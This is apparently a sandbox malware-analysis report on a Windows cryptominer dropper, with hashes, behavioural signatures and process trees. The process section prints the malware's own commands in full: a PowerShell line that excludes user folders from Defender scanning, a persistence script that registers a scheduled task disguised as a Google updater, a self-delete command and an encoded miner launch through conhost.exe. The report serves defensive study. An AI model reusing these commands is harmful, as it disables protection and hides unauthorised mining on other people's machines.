Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...Et.exe
windows7-x64
10grhsghsGHs...KX.exe
windows7-x64
10grhsghsGHs...Qp.exe
windows7-x64
10grhsghsGHs...ep.exe
windows7-x64
10grhsghsGHs...5e.exe
windows7-x64
10grhsghsGHs...EP.exe
windows7-x64
10grhsghsGHs...pS.exe
windows7-x64
10grhsghsGHs...HZ.exe
windows7-x64
10grhsghsGHs...Sj.exe
windows7-x64
10grhsghsGHs...Nq.exe
windows7-x64
10grhsghsGHs...Ey.exe
windows7-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
384s -
max time network
1783s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
25-01-2024 16:55
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/bW3Td8vedKuGbSKX.exe
Resource
win7-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/cZ8JugqVuxAY52Qp.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/h5JMkDJvUkEMMWep.exe
Resource
win7-20231129-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/qM5GMXBk6hJE6Y5e.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/rUqNxUB6WWxdsfEP.exe
Resource
win7-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/rkUvkExvRhkxKUpS.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/u3GgbfA2e32fHMHZ.exe
Resource
win7-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/xQQTm7rAusnqpUSj.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/xxgg94VsN5GYyJNq.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/anDwkygzqtN6BKEt.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2344 created 1376 2344 anDwkygzqtN6BKEt.exe 9 PID 2344 created 1376 2344 anDwkygzqtN6BKEt.exe 9 PID 2344 created 1376 2344 anDwkygzqtN6BKEt.exe 9 PID 2344 created 1376 2344 anDwkygzqtN6BKEt.exe 9 PID 2460 created 1376 2460 updater.exe 9 PID 2460 created 1376 2460 updater.exe 9 PID 2460 created 1376 2460 updater.exe 9 PID 2460 created 1376 2460 updater.exe 9 PID 1712 created 1376 1712 conhost.exe 9 PID 2460 created 1376 2460 updater.exe 9 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral17/memory/2320-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral17/memory/2320-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2472 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2460 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 3000 taskeng.exe -
resource yara_rule behavioral17/memory/2320-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral17/memory/2320-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2460 set thread context of 1712 2460 updater.exe 52 PID 2460 set thread context of 2320 2460 updater.exe 46 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe anDwkygzqtN6BKEt.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1744 schtasks.exe 2984 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2240 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 00b72986b34fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2344 anDwkygzqtN6BKEt.exe 2344 anDwkygzqtN6BKEt.exe 2948 powershell.exe 2344 anDwkygzqtN6BKEt.exe 2344 anDwkygzqtN6BKEt.exe 2632 powershell.exe 2344 anDwkygzqtN6BKEt.exe 2344 anDwkygzqtN6BKEt.exe 2344 anDwkygzqtN6BKEt.exe 2344 anDwkygzqtN6BKEt.exe 2832 powershell.exe 2460 updater.exe 2460 updater.exe 2704 powershell.exe 2460 updater.exe 2460 updater.exe 2808 powershell.exe 2460 updater.exe 2460 updater.exe 2460 updater.exe 2460 updater.exe 1712 conhost.exe 1712 conhost.exe 2460 updater.exe 2460 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2948 powershell.exe Token: SeDebugPrivilege 2632 powershell.exe Token: SeDebugPrivilege 2832 powershell.exe Token: SeDebugPrivilege 2704 powershell.exe Token: SeDebugPrivilege 2808 powershell.exe Token: SeDebugPrivilege 2460 updater.exe Token: SeAssignPrimaryTokenPrivilege 2240 WMIC.exe Token: SeIncreaseQuotaPrivilege 2240 WMIC.exe Token: SeSecurityPrivilege 2240 WMIC.exe Token: SeTakeOwnershipPrivilege 2240 WMIC.exe Token: SeLoadDriverPrivilege 2240 WMIC.exe Token: SeSystemtimePrivilege 2240 WMIC.exe Token: SeBackupPrivilege 2240 WMIC.exe Token: SeRestorePrivilege 2240 WMIC.exe Token: SeShutdownPrivilege 2240 WMIC.exe Token: SeSystemEnvironmentPrivilege 2240 WMIC.exe Token: SeUndockPrivilege 2240 WMIC.exe Token: SeManageVolumePrivilege 2240 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2240 WMIC.exe Token: SeIncreaseQuotaPrivilege 2240 WMIC.exe Token: SeSecurityPrivilege 2240 WMIC.exe Token: SeTakeOwnershipPrivilege 2240 WMIC.exe Token: SeLoadDriverPrivilege 2240 WMIC.exe Token: SeSystemtimePrivilege 2240 WMIC.exe Token: SeBackupPrivilege 2240 WMIC.exe Token: SeRestorePrivilege 2240 WMIC.exe Token: SeShutdownPrivilege 2240 WMIC.exe Token: SeSystemEnvironmentPrivilege 2240 WMIC.exe Token: SeUndockPrivilege 2240 WMIC.exe Token: SeManageVolumePrivilege 2240 WMIC.exe Token: SeLockMemoryPrivilege 2320 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2632 wrote to memory of 1744 2632 powershell.exe 32 PID 2632 wrote to memory of 1744 2632 powershell.exe 32 PID 2632 wrote to memory of 1744 2632 powershell.exe 32 PID 2472 wrote to memory of 1660 2472 cmd.exe 33 PID 2472 wrote to memory of 1660 2472 cmd.exe 33 PID 2472 wrote to memory of 1660 2472 cmd.exe 33 PID 2832 wrote to memory of 2504 2832 powershell.exe 40 PID 2832 wrote to memory of 2504 2832 powershell.exe 40 PID 2832 wrote to memory of 2504 2832 powershell.exe 40 PID 3000 wrote to memory of 2460 3000 taskeng.exe 39 PID 3000 wrote to memory of 2460 3000 taskeng.exe 39 PID 3000 wrote to memory of 2460 3000 taskeng.exe 39 PID 2808 wrote to memory of 2984 2808 powershell.exe 53 PID 2808 wrote to memory of 2984 2808 powershell.exe 53 PID 2808 wrote to memory of 2984 2808 powershell.exe 53 PID 2460 wrote to memory of 1712 2460 updater.exe 52 PID 320 wrote to memory of 2240 320 cmd.exe 47 PID 320 wrote to memory of 2240 320 cmd.exe 47 PID 320 wrote to memory of 2240 320 cmd.exe 47 PID 2460 wrote to memory of 2320 2460 updater.exe 46 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1376
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\anDwkygzqtN6BKEt.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\anDwkygzqtN6BKEt.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2344
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2948
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1744
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\anDwkygzqtN6BKEt.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2472
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2704
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2984
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2320
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:944
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:320
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1712
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1660
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C:\Windows\system32\taskeng.exetaskeng.exe {82E304E3-6E3B-4FB0-8CD0-50CFD11869AC} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2460
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2240
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
312KB
MD56312f397db7558227e255f79874754d4
SHA19aabd64081effaea09a3285ce250c767f96a4e68
SHA256e2b7806f3a23055f3f84d4fd9001c9791f094068cc85070dbc5faedb8f3f423d
SHA512fd15f179fc8cab63283265a4709565eb523a6bfe030f25ee31862954be3744106d2db8501e8bce56f0bf368ceb6b8832fe548d25ea6e597fbc0a0ce64d94cbed
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Filesize
125KB
MD558d54eccdaf8236e77366d950e3ebaef
SHA1174ec93069d18d3cacff089a0c4511e65e33378a
SHA256958622fa90e418bfca8df8926a912f2e029d71386238c598fa824f5549cc44c2
SHA512ed8d138cd2e4acf96b7f7ab07aec3803a374fef69420a41c4ad0c7397a9bc1645b388b1f873ba30c1f4e98713342e8522318c3fd92a72893676d7f8791632130
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD53dacb939c95ed9b79c4b978cf34db322
SHA1b81302bfb48da980ced5190c4794eaaea8149e8a
SHA2561e1de4f3ecd2963dcfe42ff511da569d670107206751daf3dbf779fa9ac65107
SHA512fe34595db93e1b55b5f526439d8404e6851c079907e49397a62bae551f4a1da1c1aad1b6af812c0d3511b66d6fa36ca7ff3aca9e5ec12bc10dfb1859e8f02b26
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Filesize
528KB
MD544be364534af444f7366f6bffbdc91ca
SHA156bb6219549f223723db73ed32c76fb8edc0ffb2
SHA256249ac9f9d7a543662566020479d11e85ebe9d10993715c4d91ca89b08866b30d
SHA512ee632b5ba1daa63051763e7c29706104ac58964f503ffbacee73f66b860a8d3563bccc08c46c27798def73265a778338a60a4322f0765618e63cd3860114deef